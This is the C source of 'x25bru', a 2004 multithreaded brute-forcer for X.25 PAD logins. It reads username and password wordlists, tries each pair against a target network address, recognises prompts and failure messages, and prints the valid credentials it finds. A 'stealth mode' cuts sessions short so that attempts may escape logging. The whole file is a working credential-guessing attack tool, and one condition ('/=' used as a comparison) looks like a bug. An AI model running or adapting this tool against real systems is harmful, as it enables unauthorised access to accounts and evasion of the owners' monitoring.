/*
 * x25bru.c Version 0.2
 * 
 * Multi thread/link x25 pad bruteforcer. 
 *
 * The speed of this software will depend of x25 network congestion and
 * the number of free outgoing link. Don't use a number of thread greater
 * than you link number or you will get problems. For add recognize OS
 * reply just modify valid_login, valid_password and invalid_answer array.
 * 
 * Stealth mode will do only 4 try per session, that will not be logged in
 * some system.
 *  
 * Options:
 *
 * -d <nua>     NUA to bruteforce
 * -u <file>    Username file
 * -p <file>    Password file
 * -c <number>	Number of threads (default 1)
 * -t <secs>	Timeout
 * -s 		Stealth mode
 * -v	   	Verbose
 *
 * Changelog:
 *  - v0.02
 *	+ Reprogrammed x25 routines
 *	+ Added stealth mode
 *
 * Todo:
 *  + Auto recognize number of lines
 *  + x25 link errors 
 *
 * Compilation:
 *  + gcc -o x25bru x25bru.c -L/opt/SUNWconn/lib/ -R/opt/SUNWconn/lib/ \
 *     -lthread -lsx25 -Wall
 *
 *
 * Dedicated to a lost friend.
 *
 * $ver=v0.2 $name=x25bru $date=10/31/2004
 *	      
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 * 
 * (c) 2004 Copyright by inode <inode@wayreth.eu.org>
 *
 */

#include <time.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>

#include <stropts.h>
#include <netx25/uint.h>
#include <netx25/x25_proto.h>

#define VERSION "0.2"

#define USERLEN 100
#define MAX_THREAD 250 

#define DEFAULT_TIMEOUT 5

char * valid_login[] = {
	"login", NULL
};

char * valid_password[] = {
	"sword", NULL
};

char * invalid_answer[] = {
	"incorrect", "Not on system console", NULL
};


struct list_type {
	char text[ USERLEN ];
	struct list_type * next;
};

struct list_type * user_list = NULL;
struct list_type * pass_list = NULL;

struct list_type * cur_user = NULL;
struct list_type * cur_pass = NULL;


// Mutex variables
pthread_mutex_t input_queue;
pthread_mutex_t output_file;

extern int      errno;
int verbose = 0;
int stealth = 0;
unsigned long checked = 0;
char * nua_dest = NULL;
int read_time = DEFAULT_TIMEOUT;

/*
 * Prototypes
 *
 */
void load_file( char * filename , struct list_type ** list);
void free_list( struct list_type ** list);

int open_device();
int con_x25( char * remote_peer );
int send_x25( int s, unsigned char * buffer, int len );
int recv_x25( int s, unsigned char * buffer, int len );
int memfind( unsigned char * buffer, long buffer_len, unsigned char * string );

extern int stox25(); 

/*
 * Load list from file and store in the correct structure
 *
 */
void load_file( char * filename , struct list_type ** list)
{
	FILE *in;       
	char buffer[ USERLEN ];
	struct list_type * cur = NULL; 
	struct list_type * new = NULL;
	
	// Open the file	
	if( ( in = fopen( filename, "r") ) == NULL ) {
		fprintf( stderr, "Error opening file %s\n", filename );
		exit( 0 );
	}

	// Read until the end of file
	for( ;; ) {
		if( fgets( buffer, sizeof(buffer), in) == NULL )	
			break;

		// remove the newline chars
		buffer[ strlen(buffer) - 1 ] = 0;       

		// store the username in the right struture
		new = (struct list_type *) malloc ( sizeof( struct list_type ) );
		new -> next = NULL;
		strncpy( new->text, buffer, USERLEN );
		new -> text[ USERLEN - 1 ] = 0;

		// Update the list
		if( *list == NULL ) {
			*list = new;
			cur = new;
		} else {
			cur -> next = new;
			cur = new;
		}

	}

	fclose( in );
}

/*
 * Free a list_type structure 
 *
 */
void free_list( struct list_type ** list)
{
	struct list_type * cur = *list;
	while( cur != NULL ) {
		*list = cur -> next;
		free( cur );
		cur = *list;
	}

	*list = NULL;

}

void usage( char * argv0 )
{
	
	fprintf( stderr, " Usage:\n");
	fprintf( stderr, "  %s -d <arg> -u <arg> [-p <arg>] [-c <arg>] [-v] [-s]\n\n" , argv0);
	fprintf( stderr, "  -d <nua>     NUA to bruteforce\n");
	fprintf( stderr, "  -u <file>    Username file\n");
	fprintf( stderr, "  -p <file>    Password file\n");
	fprintf( stderr, "  -c <number>  Number of threads (default 1)\n");
	fprintf( stderr, "  -t <secs>    Timeout (default 5)\n");
	fprintf( stderr, "  -s    	 Stealth mode\n");
	fprintf( stderr, "  -v           Verbose\n\n"); 
	
	exit( 0 );
}

int read_sock( int sock, char * buffer, long buf_len, char ** search)
{
	int retval;
	int i;


	for( ;; ) {

		memset(buffer, 0,buf_len);

		retval = recv_x25( sock, buffer, buf_len);

		//error
		if( retval == -1 )
			break;
	
		//timeout	
		if( retval == -2 )
			break;

		i = 0;
	
		while( search[ i ] != NULL ) {
			if( memfind(buffer, buf_len, search[i] ) != NULL )
				break;
			i++;
		}

		if( search[ i ] != NULL )
			return 1;

	}

	return 0;

}

int check_user( char * username, char * password, int socket )
{
	char buffer[2000];


	if( read_sock( socket, buffer, sizeof(buffer), valid_login) == 0 ) {
		return -1;
	}

	sprintf(buffer, "%s\n", username);

	send_x25( socket , buffer, strlen(buffer) );	

        if( read_sock( socket, buffer, sizeof(buffer), valid_password) == 0 ) {
                return -1;
        }

	sprintf(buffer, "%s\n", password);

        send_x25( socket , buffer, strlen(buffer) );

        if( read_sock( socket, buffer, sizeof(buffer), invalid_answer) == 0 ) {
                return 0;
        }

	return 1;
}

void * scan(void * data)
{
	int sock = -1;
	int chec = 0;
	char username[USERLEN];
	char password[USERLEN];
	//int stealth
	int j = 0;

	for( ;; ) {

		pthread_mutex_lock(&input_queue);	
	
		// Stop on finish 
		if( cur_user == NULL ) {
			pthread_mutex_unlock(&input_queue);
			break;
		}

		strcpy( username, cur_user->text);

		if( pass_list == NULL ) {
			strcpy( password, cur_user->text);

			// next username
			cur_user = cur_user -> next;

		} else {
			strcpy( password, cur_pass->text);

			// next password
			cur_pass = cur_pass -> next;

			if( cur_pass == NULL ) {
				// if password finish, pass to next user
				cur_pass = pass_list;
				cur_user = cur_user -> next;
			} 
		}

		if( verbose > 0 )
			fprintf( stderr, " Testing %s:%s\n", username, password);

		pthread_mutex_unlock(&input_queue);

		checked ++;

		chec = 0;

		while( chec == 0 ) {	

			if( sock < 0 ) {

				sock = con_x25( nua_dest );

				j = 0;

				// Set a non blocking socket
				//fcntl(sock, F_SETFL, O_NONBLOCK);

			}

			switch ( check_user( username, password, sock) ) {
				case -1:
					close( sock );
					sock = -1;
					break;
				case 0:
					// Success!
					printf("\n\nValid user %s with password %s\n\n",username,password);
					close( sock );
					sock = -1;
					chec = 1;
					break;
				case 1:
					j++;
					if( stealth == 1 && j > 3 ) {
					        send_x25( sock , "\x4\x4", 2 );
						close( sock );
						sock = -1;
					}
					else
						chec = 1;
					break;
			}
		}
	}
	
	return 0;
}

int main( int argc, char ** argv)
{

	char opt;

	int number_thread = 1;

	time_t start;
	time_t current;

	int i;

	pthread_t thread_id[200];

	fprintf( stderr, "\n X25 pad bruteforcer v%s by inode <inode@wayreth.eu.org>\n\n", VERSION);	

	// Check arguments
	while((opt = getopt(argc, argv, "u:p:c:d:t:vs")) != -1)
	{
		switch (opt)
                {
			case 'd':
				nua_dest = optarg;
				break;
			case 'c':
				number_thread = atoi( optarg );
				break;	
			case 'u':
				load_file(optarg, &user_list);
				break;
			case 'p':
				load_file(optarg, &pass_list);
				break;
			case 'v':	
				verbose = 1;
				break;
			case 's':
				stealth = 1;
				break;
			case 't':
				read_time = atoi( optarg );
				break;
			default:
				usage( argv[0] );
				break;
		}
	}

	if( user_list == NULL  || nua_dest == NULL) {
		usage( argv[0] );
		exit( 0 );
	}

	pthread_setconcurrency( number_thread );

        pthread_mutex_init(&input_queue, NULL);
	pthread_mutex_init(&output_file, NULL);

	cur_user = user_list;
	cur_pass = pass_list;

	time(&start);

        for( i = 0 ; i < number_thread; i++)
                if( pthread_create( &thread_id[i], NULL, &scan, NULL) != 0 ) {
                        i--;
			fprintf(stderr,"\nError in creating thread\n");
                }
        
        for( i = 0 ; i < number_thread; i++)
                if( pthread_join( thread_id[i], NULL) != 0 ) {
                        fprintf(stderr,"\nError in joining thread\n");
                }	

	time(&current);

	fprintf(stderr, "\n\n");
	fprintf(stderr, " +-----------+--------+-----------+\n");
	fprintf(stderr, " |  Checked  |  Time  | Average/s |\n");
	fprintf(stderr, " +--------------------+-----------+\n");
	fprintf(stderr, " | %9u | %6.0lf | %9.0lf |\n", (unsigned int)checked, difftime(current,start), checked/difftime(current,start) );
	fprintf(stderr, " +--------------------+-----------+\n");
	fprintf(stderr, "\n\n");

	free_list( &user_list );
        free_list( &pass_list );
	
	return 0;
}



int memfind( unsigned char * buffer, long buffer_len, unsigned char * string )
{
        unsigned char * tmp = buffer;

        while( tmp < buffer+buffer_len ) {

                tmp = memchr( tmp, string[0], (buffer+buffer_len)-tmp  );

                if( (buffer+buffer_len) - tmp < 0 )
                        return 0;

                if( memcmp(tmp, string, strlen( string )) == 0 )
                        return 1;

                tmp++;

        }

        return 0;
} 

int open_device()
{

        int fd;

        fd = open("/dev/x25", O_RDWR|O_NDELAY);

        if (fd < 0) {
                perror("error open");
                exit(1);
        }

        return (fd);
}


int send_x25( int s, unsigned char * buffer, int len )
{
        struct strbuf controls;
        struct strbuf datas;

        struct xdataf con;

        con.xl_type = XL_DAT;
        con.xl_command = N_Data;

        con.More = 0;
        con.setDbit = 0;
        con.setQbit = 0;

        controls.len = sizeof(con);
        controls.buf = (char *)&con;

        datas.buf = buffer;
        datas.len = len;

        if( putmsg(s, &controls, &datas, 0) < 0 ) {
		printf("UPS\n");
		return -1;
	}

        return datas.len;
}


int recv_x25( int s, unsigned char * buffer, int len )
{
        fd_set rfds;
        struct timeval tv;
        int retval;
        int flag = 0;
        struct strbuf controls;
        struct strbuf datas;
        char cblk[1024];

        memset(buffer, 0, len);
        memset(cblk, 0, sizeof( cblk ));

        datas.maxlen = len;
        datas.len = 0;
        datas.buf = buffer;

        controls.maxlen = sizeof( cblk );
        controls.len = 0;
        controls.buf = cblk;

        FD_ZERO(&rfds);
        FD_SET(s, &rfds);

        tv.tv_sec = read_time;
        tv.tv_usec = 0;

        retval = select(FD_SETSIZE, &rfds, NULL, NULL, &tv);

        if (retval < 0)  {
                perror("select");
                return -1;
        }

        if( retval == 0) {
                return -2;
        }

        if( getmsg(s, &controls, &datas, &flag) < 0 ){
                perror("getmsg");
                return -1;

        }
	
	return datas.len;
}

int con_x25( char * remote_peer )
{
        int cud_len = 0,s,retval;
        struct xaddrf address;
        struct xcallf call;
        struct xccnff * caa;
        struct strbuf databuf;
        struct strbuf ctlbuf;
        struct xdiscf *dis_msg;
        char ctlblk[1024];
        char datablk[1024];
        fd_set rfds;
        int flags = 0;

        struct timeval tv;

        char cud[] = { 1,0,0,0 };

        memset(&address, 0, sizeof(address));
        memset(&call, 0, sizeof(call));

        memset(ctlblk, 0, sizeof(ctlblk));
        memset(datablk, 0, sizeof(datablk));


        s = open_device();

        if( stox25(remote_peer, &address, 0) ) {
                fprintf(stderr, "'%s': Bad address format\n", remote_peer);
                exit(0);
        }

        call.xl_command = N_CI;
        call.xl_type = XL_CTL;

        cud_len = 4;

        memcpy( &call.calledaddr, &address, sizeof( address ) );

        ctlbuf.len = (int32_t)sizeof(struct xcallf);
        ctlbuf.buf = (char *)&call;

        databuf.len = cud_len;
        databuf.buf = (char *) cud;

        if (putmsg(s, &ctlbuf, &databuf, 0) < 0) {
                perror("error putmsg");
                exit(1);
        }

        ctlbuf.len = 0;
        ctlbuf.maxlen = 1024;
        ctlbuf.buf = (char *) ctlblk;

        databuf.len = 0;
        databuf.buf = datablk;
        databuf.maxlen = 1024;


        /* Wait for connection */

        FD_ZERO(&rfds);
        FD_SET(s, &rfds);

        tv.tv_sec = read_time;
        tv.tv_usec = 0;

        retval = select( FD_SETSIZE, &rfds, NULL, NULL, &tv);

        caa = (struct xccnff *) ctlbuf.buf;
        dis_msg = (struct xdiscf *) caa;

        if (retval > 0) {
                retval = getmsg(s, &ctlbuf, &databuf, &flags);
        } else {
                fprintf(stderr, "\nCan't connect to the remote host.\n");
                exit(0);
        }


        if (caa->xl_type /= XL_CTL) {

                switch (caa->xl_command) {
                        case N_DI:
                        /* Disconnect     */
                                break;
                        case N_DC:
                        /* Disconnect Confirm */
                                //send_clear_request(s);
                                break;
                        case N_CI:
                        /* Connect        */
                                //send_clear_request(s);
                                break;
                        case N_CC:
                        /* Connect confirm */
                                return s;
                                break;
                        default:
                                break;
                }
        }

        return -1;
}
 

